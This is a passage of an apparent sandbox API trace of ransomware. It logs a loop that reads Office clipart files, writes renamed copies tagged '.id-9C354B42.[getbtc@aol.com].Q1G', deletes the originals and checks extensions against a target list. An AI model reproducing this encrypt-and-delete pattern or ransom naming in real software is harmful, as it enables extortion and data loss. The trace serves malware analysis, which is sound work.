GetLastError () returned 0x0 [0253.871] ReadFile (in: hFile=0x200, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x4752, lpOverlapped=0x0) returned 1 [0254.026] WriteFile (in: hFile=0x338, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x4760, lpOverlapped=0x0) returned 1 [0254.027] ReadFile (in: hFile=0x200, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.027] WriteFile (in: hFile=0x338, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0254.027] SetEndOfFile (hFile=0x338) returned 1 [0254.027] CloseHandle (hObject=0x338) returned 1 [0254.027] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.027] SetEndOfFile (hFile=0x200) returned 1 [0254.029] CloseHandle (hObject=0x200) returned 1 [0254.030] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.038] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg")) returned 1 [0254.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0254.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0254.237] lstrlenW (lpString=".doc") returned 4 [0254.237] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0254.237] lstrlenW (lpString=".docx") returned 5 [0254.237] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0254.237] lstrlenW (lpString=".pdf") returned 4 [0254.237] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0254.237] lstrlenW (lpString=".xls") returned 4 [0254.237] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0254.237] lstrlenW (lpString=".xlsx") returned 5 [0254.237] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0254.237] lstrlenW (lpString=".ppt") returned 4 [0254.237] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0254.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0254.237] lstrlenW (lpString=".zip") returned 4 [0254.237] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0254.237] lstrlenW (lpString=".rar") returned 4 [0254.237] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0254.237] lstrlenW (lpString=".bz2") returned 4 [0254.237] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0254.237] lstrlenW (lpString=".7z") returned 3 [0254.237] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0254.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0254.237] lstrlenW (lpString=".dbf") returned 4 [0254.237] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0254.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0254.238] lstrlenW (lpString=".1cd") returned 4 [0254.238] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0254.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0254.238] lstrlenW (lpString=".jpg") returned 4 [0254.238] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0254.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0254.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0254.238] lstrlenW (lpString=".doc") returned 4 [0254.238] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0254.238] lstrlenW (lpString=".docx") returned 5 [0254.238] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0254.238] lstrlenW (lpString=".pdf") returned 4 [0254.238] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0254.238] lstrlenW (lpString=".xls") returned 4 [0254.238] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0254.238] lstrlenW (lpString=".xlsx") returned 5 [0254.238] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0254.238] lstrlenW (lpString=".ppt") returned 4 [0254.238] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0254.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0254.238] lstrlenW (lpString=".zip") returned 4 [0254.238] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0254.238] lstrlenW (lpString=".rar") returned 4 [0254.238] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0254.238] lstrlenW (lpString=".bz2") returned 4 [0254.238] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0254.239] lstrlenW (lpString=".7z") returned 3 [0254.239] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0254.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0254.239] lstrlenW (lpString=".dbf") returned 4 [0254.239] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0254.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0254.239] lstrlenW (lpString=".1cd") returned 4 [0254.239] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0254.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0254.239] lstrlenW (lpString=".jpg") returned 4 [0254.239] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0254.239] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0254.239] lstrlenW (lpString="J0099157.JPG") returned 12 [0254.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0254.240] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=9671) returned 1 [0254.240] CloseHandle (hObject=0x3d4) returned 1 [0254.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg")) returned 0x20 [0254.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0254.240] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.240] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0254.241] GetLastError () returned 0x0 [0254.241] ReadFile (in: hFile=0x3d4, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x25c7, lpOverlapped=0x0) returned 1 [0254.245] WriteFile (in: hFile=0x3d8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x25d0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x25d0, lpOverlapped=0x0) returned 1 [0254.246] ReadFile (in: hFile=0x3d4, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.246] WriteFile (in: hFile=0x3d8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0254.246] SetEndOfFile (hFile=0x3d8) returned 1 [0254.246] CloseHandle (hObject=0x3d8) returned 1 [0254.246] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.246] SetEndOfFile (hFile=0x3d4) returned 1 [0254.248] CloseHandle (hObject=0x3d4) returned 1 [0254.248] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.249] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg")) returned 1 [0254.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0254.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0254.249] lstrlenW (lpString=".doc") returned 4 [0254.249] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0254.249] lstrlenW (lpString=".docx") returned 5 [0254.249] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0254.249] lstrlenW (lpString=".pdf") returned 4 [0254.249] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0254.249] lstrlenW (lpString=".xls") returned 4 [0254.249] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0254.249] lstrlenW (lpString=".xlsx") returned 5 [0254.249] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0254.249] lstrlenW (lpString=".ppt") returned 4 [0254.250] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0254.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0254.250] lstrlenW (lpString=".zip") returned 4 [0254.250] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0254.250] lstrlenW (lpString=".rar") returned 4 [0254.250] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0254.250] lstrlenW (lpString=".bz2") returned 4 [0254.250] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0254.250] lstrlenW (lpString=".7z") returned 3 [0254.250] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0254.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0254.250] lstrlenW (lpString=".dbf") returned 4 [0254.250] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0254.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0254.250] lstrlenW (lpString=".1cd") returned 4 [0254.250] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0254.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0254.250] lstrlenW (lpString=".jpg") returned 4 [0254.250] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0254.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0254.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0254.250] lstrlenW (lpString=".doc") returned 4 [0254.250] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0254.250] lstrlenW (lpString=".docx") returned 5 [0254.250] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0254.250] lstrlenW (lpString=".pdf") returned 4 [0254.250] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0254.250] lstrlenW (lpString=".xls") returned 4 [0254.250] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0254.250] lstrlenW (lpString=".xlsx") returned 5 [0254.250] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0254.250] lstrlenW (lpString=".ppt") returned 4 [0254.250] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0254.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0254.250] lstrlenW (lpString=".zip") returned 4 [0254.250] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0254.251] lstrlenW (lpString=".rar") returned 4 [0254.251] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0254.251] lstrlenW (lpString=".bz2") returned 4 [0254.251] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0254.251] lstrlenW (lpString=".7z") returned 3 [0254.251] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0254.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0254.251] lstrlenW (lpString=".dbf") returned 4 [0254.251] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0254.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0254.251] lstrlenW (lpString=".1cd") returned 4 [0254.251] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0254.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0254.251] lstrlenW (lpString=".jpg") returned 4 [0254.251] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0254.251] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0254.251] lstrlenW (lpString="J0099158.WMF") returned 12 [0254.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0254.252] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=26160) returned 1 [0254.252] CloseHandle (hObject=0x3d4) returned 1 [0254.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf")) returned 0x20 [0254.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0254.252] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.252] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0254.253] GetLastError () returned 0x0 [0254.253] ReadFile (in: hFile=0x3d4, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x6630, lpOverlapped=0x0) returned 1 [0254.267] WriteFile (in: hFile=0x3d8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x6640, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x6640, lpOverlapped=0x0) returned 1 [0254.268] ReadFile (in: hFile=0x3d4, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.268] WriteFile (in: hFile=0x3d8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0254.268] SetEndOfFile (hFile=0x3d8) returned 1 [0254.268] CloseHandle (hObject=0x3d8) returned 1 [0254.268] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.268] SetEndOfFile (hFile=0x3d4) returned 1 [0254.271] CloseHandle (hObject=0x3d4) returned 1 [0254.271] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.271] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf")) returned 1 [0254.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0254.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0254.272] lstrlenW (lpString=".doc") returned 4 [0254.272] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0254.272] lstrlenW (lpString=".docx") returned 5 [0254.272] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0254.272] lstrlenW (lpString=".pdf") returned 4 [0254.272] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0254.272] lstrlenW (lpString=".xls") returned 4 [0254.272] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0254.272] lstrlenW (lpString=".xlsx") returned 5 [0254.272] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0254.272] lstrlenW (lpString=".ppt") returned 4 [0254.272] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0254.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0254.273] lstrlenW (lpString=".zip") returned 4 [0254.273] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0254.273] lstrlenW (lpString=".rar") returned 4 [0254.273] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0254.273] lstrlenW (lpString=".bz2") returned 4 [0254.273] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0254.273] lstrlenW (lpString=".7z") returned 3 [0254.273] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0254.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0254.273] lstrlenW (lpString=".dbf") returned 4 [0254.273] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0254.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0254.273] lstrlenW (lpString=".1cd") returned 4 [0254.273] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0254.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0254.273] lstrlenW (lpString=".jpg") returned 4 [0254.273] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0254.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0254.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0254.273] lstrlenW (lpString=".doc") returned 4 [0254.273] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0254.273] lstrlenW (lpString=".docx") returned 5 [0254.273] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0254.273] lstrlenW (lpString=".pdf") returned 4 [0254.273] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0254.273] lstrlenW (lpString=".xls") returned 4 [0254.273] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0254.273] lstrlenW (lpString=".xlsx") returned 5 [0254.273] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0254.273] lstrlenW (lpString=".ppt") returned 4 [0254.273] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0254.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0254.273] lstrlenW (lpString=".zip") returned 4 [0254.273] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0254.274] lstrlenW (lpString=".rar") returned 4 [0254.274] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0254.274] lstrlenW (lpString=".bz2") returned 4 [0254.274] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0254.274] lstrlenW (lpString=".7z") returned 3 [0254.274] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0254.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0254.274] lstrlenW (lpString=".dbf") returned 4 [0254.274] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0254.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0254.274] lstrlenW (lpString=".1cd") returned 4 [0254.274] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0254.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0254.274] lstrlenW (lpString=".jpg") returned 4 [0254.274] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0254.274] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0254.274] lstrlenW (lpString="J0099160.JPG") returned 12 [0254.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0254.708] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=15145) returned 1 [0254.708] CloseHandle (hObject=0x390) returned 1 [0254.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg")) returned 0x20 [0254.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0254.778] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.778] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0255.006] GetLastError () returned 0x0 [0255.006] ReadFile (in: hFile=0x3ec, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x3b29, lpOverlapped=0x0) returned 1 [0255.008] WriteFile (in: hFile=0x3cc, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x3b30, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x3b30, lpOverlapped=0x0) returned 1 [0255.009] ReadFile (in: hFile=0x3ec, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.009] WriteFile (in: 